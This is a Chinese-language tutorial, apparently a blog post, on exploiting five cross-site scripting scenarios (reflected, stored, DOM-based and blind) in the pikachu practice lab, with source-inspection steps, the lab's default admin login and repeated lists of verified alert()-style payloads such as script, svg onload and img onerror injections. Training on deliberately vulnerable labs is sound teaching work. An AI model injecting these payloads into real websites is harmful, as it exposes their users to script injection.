★★实战前置声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
1、前言
上一篇《Web漏洞-XSS理论和靶场小试牛刀(一)》已经介绍了XSS一些理论知识点,本文主要是分享pikachu靶场XSS攻击的3个类型5个场景:反射型xss(post)、存储型xss、DOM型xss、DOM型xss-x和xss之盲打。攻击思路是怎么样的,为什么使用这个poc。
2、反射型xss(post)
2.0、该验证需登录
注意:该验证需要先用户登录完才可操作,账户名/密码:admin/123456,可以右击上方提示。
2.1、正常操作
输入’<>?"&/6666,界面显示如下:
2.2、查看源码
按F2看源码,发现输入的内容直接回显,且放在p标签内,输入框也没有长度限制。
2.3、确定攻击poc
攻击poc选择就比较多,以下是我验证通过的poc
<script>alert(1)</script>
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
<M onmouseover=alert(1)>M
<a href=javascript:alert(1) >xss</a>
<a href="" onclick="alert(1)">xss</a>
3、存储型xss
3.1、正常操作
输入’<>?"&/6666,界面显示如下:
3.2、查看源码
按F2看源码,发现输入的内容直接回显,且放在p标签内,输入框也没有长度限制。
3.3、确定攻击poc
攻击poc选择就比较多,以下是验证通过的poc
<script>alert(1)</script>
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
<M onmouseover=alert(1)>M
<a href=javascript:alert(1) >xss</a>
<a href="" onclick="alert(1)">xss</a>
4、DOM型xss
4.1、正常操作
输入’<>?"&/6666,发现显示有点奇怪,调整成输入123,界面显示如下:
4.2、查看源码
按F2看源码,发现输入的内容,是填充在a标签的href内,没有编码,href是用双引号的。
确定是否有编码是通过输入’<>?"&/6666,按F12看源码的。
4.3、确定攻击poc
攻击poc就可以采用a标签弹窗方式的语句了
<a href=javascript:alert('xss') > xss</a>
注意:只取href里面的部分,且alert()的内容需要用双引号,或者用数字的方式。
验证成功的poc
javascript:alert("test")
javascript:alert(1)
5、DOM型xss-x
5.1、正常操作
输入’<>?"&/6666,发现显示有点奇怪,调整成输入123,界面显示如下:
5.2、查看源码
按F2看源码,发现输入的内容,是填充在a标签的href内,没有编码,href是用双引号的。
图示包含在5.1里面了,不再单独截图
5.3、确定攻击poc
攻击poc就可以采用a标签弹窗方式的语句了
<a href=javascript:alert('xss') > xss</a>
注意:只取href里面的部分,且alert()的内容需要用双引号,或者用数字的方式。
验证成功的poc
javascript:alert("test")
javascript:alert(1)
6、xss之盲打
6.1、正常操作
一次输入正常的内容,一次输入’<>?"&/6666,按F12在当前页都没发现提交后相关信息,提交页面的两个输入框长度没有限制。
点右上方“点一下提示~”,
访问:
http://127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php
输入pikachu的默认用户名和密码:admin / 123456
跳转到页面:http://127.0.0.1/pikachu/vul/xss/xssblind/admin.php
是刚才提交的结果列表页
界面显示如下:
6.2、查看源码
按F2看源码,发现输入的内容,是列表展示是在表格td标签内,没有编码。
6.3、确定攻击poc
攻击poc选择就比较多,以下是验证通过的poc
<script>alert(1)</script>
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
<M onmouseover=alert(1)>M
<a href=javascript:alert(1) >xss</a>
<a href="" onclick="alert(1)">xss</a>
7、资料获取
靶场环境搭建请参考《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》